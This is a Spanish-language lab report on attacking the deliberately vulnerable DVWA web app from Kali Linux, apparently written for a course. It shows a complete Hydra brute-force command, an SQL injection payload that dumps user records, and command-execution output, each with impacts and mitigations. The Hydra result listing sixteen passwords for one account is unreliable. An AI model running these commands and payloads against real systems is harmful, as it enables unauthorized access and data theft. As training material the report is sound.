

Reporte Aplicación Web DVWA.

Introducción:

Este es un reporte de las acciones que se realizaron para la explotación de la maquina Metasploitable en la aplicación WEB DVWA.

Resumen del objetivo y alcance del ejercicio:

El objetivo de este ejercicio es

Metodología:

- Identificación de Vulnerabilidades.

Herramientas y técnicas utilizadas:

Las herramientas utilizadas para este laboratorio fueron:

- Maquina Metasploitable (Maquina Virtual Remota, Victima).
- Acceso a la Pagina **http://192.168.1.134/dvwa**
- Maquina Virtual Kali Linux.(Maquina Virtual Cliente, Atacante)

Resultados:

A continuación hablamos de los detalles de las vulnerabilidades explotadas, Comandos y herramientas utilizadas para la explotación ademas de las capturas de pantalla y evidencias.

Vulnerabilidad 1:

Aplicación de fuerza bruta para obtener las claves de los usuarios que ya de por si son bastante intuitivas por ser una prueba en laboratorio controlado.

Comandos:

Para explotar esta vulnerabilidad se utilizo el comando Hydra, el cual usa una lista de contraseñas para mediante fuerza bruta y repeticiones poder sacar las contraseñas.

Pantallas:

```
(kali@kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.134 http-get-form "/dvwa/vulnerabilities/brute/:username='USER'&password='PASS'&Login=Login:F=Username and/or password incorrect."
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-16 16:03:03
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get-form://192.168.1.134:80/dvwa/vulnerabilities/brute/:username='USER'&password='PASS'&Login=Login:F=Username and/or password in correct.
[80][http-get-form] host: 192.168.1.134 login: admin password: iloveyou
[80][http-get-form] host: 192.168.1.134 login: admin password: 12345
[80][http-get-form] host: 192.168.1.134 login: admin password: 123456789
[80][http-get-form] host: 192.168.1.134 login: admin password: rockyou
[80][http-get-form] host: 192.168.1.134 login: admin password: jessica
[80][http-get-form] host: 192.168.1.134 login: admin password: 123456
[80][http-get-form] host: 192.168.1.134 login: admin password: 12345678
[80][http-get-form] host: 192.168.1.134 login: admin password: 1234567
[80][http-get-form] host: 192.168.1.134 login: admin password: princess
[80][http-get-form] host: 192.168.1.134 login: admin password: abc123
[80][http-get-form] host: 192.168.1.134 login: admin password: monkey
[80][http-get-form] host: 192.168.1.134 login: admin password: 1234567
[80][http-get-form] host: 192.168.1.134 login: admin password: daniel
[80][http-get-form] host: 192.168.1.134 login: admin password: babygirl
[80][http-get-form] host: 192.168.1.134 login: admin password: lovely
[80][http-get-form] host: 192.168.1.134 login: admin password: nicole
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-16 16:03:06

(kali@kali)-[~]
└─$
```

Impacto:

- Robo de contraseñas.
- Acceso no autorizado a sistemas.
- Robo de datos.

Mitigación:

Se puede mitigar con varias opciones.

- Limitar intentos de login.
- Rate Time (ip peticiones).
- Método CAPTCHA para saber que es humano el que hace las peticiones.
- Políticas de contraseñas fuertes.

Vulnerabilidad 2 :

Esta vulnerabilidad Inyección de SQL es muy común y altamente peligrosa, permite inyecciones de comandos en las entradas de datos.

Comandos:

Para explotar la vulnerabilidad se hizo una inyección en lenguaje SQL, por eso el nombre de esta vulnerabilidad.

Pantallas:

← → ↻ 🏠 Not Secure http://192.168.1.134/dvwa/vulnerabilities/sql/7?id=1'+OR+'1'%3D'1&Submit=Submit ☆

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

DVWA

Vulnerability: SQL Injection

User ID:

Submit

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

View Source View Help

Impacto:

- Acceso no autorizado a la base de datos.
- Robo y filtración de datos.
- Compromiso total del sistema.

Mitigaciones:

- Consultas parametrizadas. (como datos, no como código.)
- Validación de entrada evitando caracteres peligrosos.
- WAF, firewall de aplicaciones.

Vulnerabilidad 3:

Ejecución de comandos, esta vulnerabilidad ocurre cuando el servidor permite la ejecución de líneas de comando en el servicio, permitiendo que un atacante tome el control del mismo.

Comandos:

Para explotarlo se uso el ping que pide el sistema y luego se aplica el ataque.

Pantallas:

Not Secure http://192.168.1.134/dvwa/vulnerabilities/exec/#

Import bookmarks... OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

DVWA

Home
Instructions
Setup
Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored
DVWA Security
PHP Info
About
Logout

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.038 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.061 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.038/0.048/0.061/0.009 ms
help
index.php
source

More info

<http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution>
<http://www.ss64.com/bash/>
<http://www.ss64.com/nt/>

View Source View Help

Username: admin
Security Level: low
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Impacto:

- Instalación de Virus o Malware
- Instalación de backdoors.
- Robo de Información.
- Interrupción o destrucción del sistema.

Mitigaciones:

- No ejecutar comandos del sistema con entrada del usuario
- Validar estrictamente la entrada
- Usar listas blancas (solo permitir valores específicos)
- Escapar caracteres especiales
- Ejecutar la aplicación con **privilegios mínimos**

Conclusiones:

Aunque tenemos claro que se esta trabajando en un ambiente de laboratorio controlado, sabemos que esto en la vida real son amenazas criticas para un sistema de información, por eso la importancia de revisiones periódicas y no dar nada por sentado, ya que esta en juego mucha responsabilidad, reputación, situaciones penales por nombrar algunos de una empresa envuelta en un ataque de ciberseguridad.